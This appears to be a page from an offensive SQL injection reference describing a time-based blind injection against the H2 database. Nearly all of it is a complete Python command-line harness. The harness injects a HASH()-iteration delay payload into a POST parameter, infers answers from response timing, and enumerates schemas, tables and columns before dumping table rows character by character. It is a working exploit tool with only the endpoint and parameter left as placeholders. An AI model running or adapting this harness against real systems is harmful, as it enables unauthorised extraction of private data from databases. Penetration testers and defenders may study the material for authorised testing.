Skip to content
H2
Time-Based Blind

Time-Based Blind

H2 time-based linear harness

The oracle accepts a SQL predicate and places it inside the iteration-count argument of H2’s HASH() function. A true predicate performs DELAY hash iterations; a false predicate performs one. oracle() measures the complete HTTP response time and returns a Python Boolean according to THRESHOLD.

The remaining extraction flow matches the Boolean version: determine a count, determine the length of one value, then test each character position. Only the request and timing behavior inside oracle() is target-specific.

DELAY is an iteration count, not a number of seconds. The value must produce a repeatable gap from the target’s normal response time. 50000000 iterations produced a clear delay on H2 2.2.224; the required value depends on the target host.

import requests
import urllib3
import argparse
import sys
from colorama import Fore, init
import string

init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
KNOWN_VALUE = "<KNOWN_TRUE_VALUE>"
ORDER_COLUMN = "<STABLE_ORDER_COLUMN>"
DELAY = 50000000
THRESHOLD = 1.5
parser = argparse.ArgumentParser(
    description="H2 time-based blind SQL injection dumping harness.",
    epilog=f"Example: {sys.argv[0]} -t http://example.com [-x http://127.0.0.1:8080] --current-db")
parser.add_argument("-t", "--target", required=True, type=str, help="URL of the target, including the port.")
parser.add_argument("-x", "--proxy", required=False, type=str, help="Optional proxy to pass traffic through.", default=None)
parser.add_argument("--current-db", required=False, action="store_true", help="Dump the current database name.")
parser.add_argument("--schemas", required=False, action="store_true", help="Dump schema names.")
parser.add_argument("--tables", required=False, action="store_true", help="Dump table names from the selected schema.")
parser.add_argument("--columns", required=False, action="store_true", help="Dump column names from the selected table.")
parser.add_argument("--dump", required=False, action="store_true", help="Dump selected columns from the selected table.")
parser.add_argument("-S", "--schema", required=False, type=str, help="Schema name.", default=None)
parser.add_argument("-T", "--table", required=False, type=str, help="Table name.", default=None)
parser.add_argument("-C", "--columns_to_dump", required=False, type=str, help="Comma-separated columns to dump.", default=None)
args = parser.parse_args()

PROXY = args.proxy
if PROXY is not None:
    PROXY = PROXY.strip()
    PROXIES = {
        "http": PROXY,
        "https": PROXY
    }
else:
    PROXIES = {}
URL = args.target.rstrip("/").strip()

def oracle(s, query):
    payload = f"{KNOWN_VALUE}' AND HASH('SHA-256', STRINGTOUTF8('test'), CASE WHEN ({query}) THEN {DELAY} ELSE 1 END) IS NOT NULL -- -"
    data = {
        "<PARAMETER>": payload
    }
    try:
        r = s.post(url=f"{URL}/<ENDPOINT>", data=data, verify=False, timeout=10, proxies=PROXIES)
    except Exception as e:
        print(f"[-] {Fore.RED}Could not send request: {e}")
        sys.exit(1)
    is_true = r.elapsed.total_seconds() > THRESHOLD
    return is_true

def get_count(s, query, label):
    count = 0
    while True:
        print(f"\rBruteforcing number of {label}: {count}", end="", flush=True)
        count_query = f"({query})={count}"
        if oracle(s, count_query) == True:
            print(f"{Fore.GREEN}\n[+] Number of {label}: {count}")
            return count
        count += 1

def get_length(s, query, label):
    length = 0
    while True:
        print(f"\rBruteforcing length of {label}: {length}", end="", flush=True)
        length_query = f"LENGTH(({query}))={length}"
        if oracle(s, length_query) == True:
            print(f"{Fore.GREEN}\n[+] Length of {label}: {length}")
            return length
        length += 1

def dump_value(s, query, label):
    value = ""
    length = get_length(s, query, label)
    for pos in range(1, length + 1):
        for char in CHARSET:
            print(f"\rDumping {label}: {value}", end="", flush=True)
            dump_query = f"ASCII(SUBSTRING(({query}),{pos},1))={ord(char)}"
            if oracle(s, dump_query):
                value += char
                break
    print(f"{Fore.GREEN}\n[+] {label}: {value}")
    return value

if __name__ == "__main__":
    s = requests.Session()
    if args.current_db:
        dump_value(s, "SELECT DATABASE()", "current database name")
    if args.schemas:
        schema_count = get_count(s, "SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME <> 'INFORMATION_SCHEMA'", "schemas")
        for pos in range(0, schema_count):
            query = f"SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME <> 'INFORMATION_SCHEMA' ORDER BY SCHEMA_NAME LIMIT 1 OFFSET {pos}"
            label = f"schema number {pos}"
            dump_value(s, query, label)
    if args.tables:
        schema = args.schema
        if not schema:
            print(f"[-] {Fore.RED}It is required to specify the schema to dump table names from.")
            sys.exit(1)
        table_count = get_count(s, f"SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='{schema}' AND TABLE_TYPE='BASE TABLE'", "tables")
        for pos in range(0, table_count):
            query = f"SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='{schema}' AND TABLE_TYPE='BASE TABLE' ORDER BY TABLE_NAME LIMIT 1 OFFSET {pos}"
            label = f"table number {pos}"
            dump_value(s, query, label)
    if args.columns:
        schema = args.schema
        table = args.table
        if not schema or not table:
            print(f"[-] {Fore.RED}It is required to specify the schema and table to dump column names from.")
            sys.exit(1)
        column_count = get_count(s, f"SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='{schema}' AND TABLE_NAME='{table}'", "columns")
        for pos in range(0, column_count):
            query = f"SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='{schema}' AND TABLE_NAME='{table}' ORDER BY ORDINAL_POSITION LIMIT 1 OFFSET {pos}"
            label = f"column number {pos}"
            dump_value(s, query, label)
    if args.dump:
        schema = args.schema
        table = args.table
        columns = args.columns_to_dump
        if not schema or not table or not columns:
            print(f"[-] {Fore.RED}It is required to specify the schema, table, and columns to dump data from.")
            sys.exit(1)
        columns_list = columns.split(",")
        row_count = get_count(s, f"SELECT COUNT(*) FROM {schema}.{table}", "rows")
        for pos in range(0, row_count):
            for column in columns_list:
                query = f"SELECT CAST({column} AS VARCHAR) FROM {schema}.{table} ORDER BY {ORDER_COLUMN} LIMIT 1 OFFSET {pos}"
                label = f"{table}.{column} row {pos}"
                dump_value(s, query, label)

The expensive work belongs in the THEN and ELSE iteration-count expression. Placing a fixed expensive HASH() call inside a CASE branch can allow constant evaluation before the condition is applied and delay both controls.

Find by: h2, time based blind sqli, hash delay, hash iterations, case when, response timing, length, substring, ascii, database, schema, information schema, limit offset, sqlmap style cli · Source: H2 2.2.224